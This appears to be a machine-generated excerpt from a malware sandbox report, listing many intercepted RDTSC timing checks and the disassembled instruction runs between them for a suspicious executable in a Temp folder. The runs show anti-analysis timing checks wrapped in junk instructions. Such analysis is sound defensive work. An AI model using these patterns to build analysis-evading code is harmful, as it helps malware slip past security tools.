Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F0E7E2 second address: F0E7F7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F099C53410Bh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F0EC05 second address: F0EC28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F099D172A66h 0x0000000a jmp 00007F099D172A79h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F0EDE6 second address: F0EE02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534110h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F0EE02 second address: F0EE06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F0F0A7 second address: F0F0DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F099C534117h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F099C534119h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F0F0DD second address: F0F0FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099D172A74h 0x00000009 jno 00007F099D172A66h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F0F0FB second address: F0F101 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F0F53F second address: F0F543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F0F543 second address: F0F549 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F0F66D second address: F0F677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F0F677 second address: F0F681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F0F681 second address: F0F690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F099D172A66h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F0F690 second address: F0F69C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F0F69C second address: F0F6A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F1226F second address: F12275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F124AD second address: F124BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099D172A6Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F12565 second address: F12584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edx, dword ptr [ebp+122D34C8h] 0x00000010 push 00000004h 0x00000012 call 00007F099C534109h 0x00000017 push ebx 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F12584 second address: F125AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jmp 00007F099D172A6Fh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F099D172A6Ah 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F125AA second address: F125FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534113h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jg 00007F099C534122h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F099C53410Fh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F125FE second address: F1261A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099D172A78h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F128CA second address: F128CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F154A6 second address: F154AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F154AA second address: F154B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F154B4 second address: F154C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F099D172A70h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: F175F7 second address: F175FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5280C66 second address: 5280C6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5280C6A second address: 5280C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5280C70 second address: 5280C76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5280C76 second address: 5280C7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270C6B second address: 5270C6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270C6F second address: 5270C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270C75 second address: 5270C94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F099D172A6Ah 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270C94 second address: 5270CA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C53410Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270CA3 second address: 5270CB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 443B81E6h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270CB6 second address: 5270CCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534112h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270CCC second address: 5270D0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F099D172A6Bh 0x00000013 and ax, 09CEh 0x00000018 jmp 00007F099D172A79h 0x0000001d popfd 0x0000001e mov si, AFD7h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B08BF second address: 52B08DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099C534118h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B08DB second address: 52B094A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov eax, 5D2DAD0Bh 0x00000012 pushfd 0x00000013 jmp 00007F099D172A70h 0x00000018 add cx, 6B18h 0x0000001d jmp 00007F099D172A6Bh 0x00000022 popfd 0x00000023 popad 0x00000024 push eax 0x00000025 jmp 00007F099D172A79h 0x0000002a xchg eax, ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e jmp 00007F099D172A73h 0x00000033 mov dh, al 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B094A second address: 52B0950 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B0950 second address: 52B0954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B0954 second address: 52B0970 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C53410Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov eax, edi 0x00000012 mov ch, bl 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52500DE second address: 52500FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52500FA second address: 5250100 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250100 second address: 525017E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F099D172A77h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F099D172A76h 0x00000012 xchg eax, ebp 0x00000013 pushad 0x00000014 mov si, C9EDh 0x00000018 mov ax, 17E9h 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F099D172A72h 0x00000026 xor esi, 557B40B8h 0x0000002c jmp 00007F099D172A6Bh 0x00000031 popfd 0x00000032 popad 0x00000033 push dword ptr [ebp+04h] 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F099D172A70h 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 525017E second address: 5250190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099C53410Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270A21 second address: 5270A25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270A25 second address: 5270A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 527052E second address: 5270578 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F099D172A72h 0x0000000f add ch, FFFFFFB8h 0x00000012 jmp 00007F099D172A6Bh 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov bh, 42h 0x0000001f jmp 00007F099D172A6Ch 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270578 second address: 527058A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099C53410Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 527058A second address: 527058E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270412 second address: 5270416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270416 second address: 527041C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 527041C second address: 5270477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 3B64h 0x00000007 pushfd 0x00000008 jmp 00007F099C53410Dh 0x0000000d sbb esi, 33E7B7A6h 0x00000013 jmp 00007F099C534111h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d jmp 00007F099C53410Eh 0x00000022 push eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 call 00007F099C534117h 0x0000002b pop eax 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 527019E second address: 52701C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52701C2 second address: 52701C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52701C6 second address: 52701CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52701CA second address: 52701D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52701D0 second address: 52701FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 7BCD15C7h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F099D172A79h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52701FC second address: 5270200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270200 second address: 5270206 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270206 second address: 5270257 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F099C534110h 0x00000009 or si, 8408h 0x0000000e jmp 00007F099C53410Bh 0x00000013 popfd 0x00000014 call 00007F099C534118h 0x00000019 pop ecx 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F099C53410Ch 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270257 second address: 527026D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 527026D second address: 5270271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270271 second address: 5270275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5270275 second address: 527027B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5290008 second address: 529000C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 529000C second address: 5290012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5290012 second address: 5290018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5290018 second address: 5290040 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C53410Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F099C53410Dh 0x00000014 push ecx 0x00000015 pop ebx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5290040 second address: 529005A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F099D172A6Eh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 529005A second address: 529006C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099C53410Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 529006C second address: 52900D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov ebx, 14B68870h 0x0000000f pushfd 0x00000010 jmp 00007F099D172A79h 0x00000015 and ax, 61F6h 0x0000001a jmp 00007F099D172A71h 0x0000001f popfd 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 jmp 00007F099D172A6Eh 0x00000028 mov eax, dword ptr [ebp+08h] 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F099D172A77h 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52900D9 second address: 52900FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534119h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax], 00000000h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push esi 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52703D8 second address: 52703F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099D172A76h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52703F2 second address: 52703F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5280E34 second address: 5280E76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F099D172A6Dh 0x00000013 sub ecx, 2A05E166h 0x00000019 jmp 00007F099D172A71h 0x0000001e popfd 0x0000001f movzx eax, bx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5280E76 second address: 5280E7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
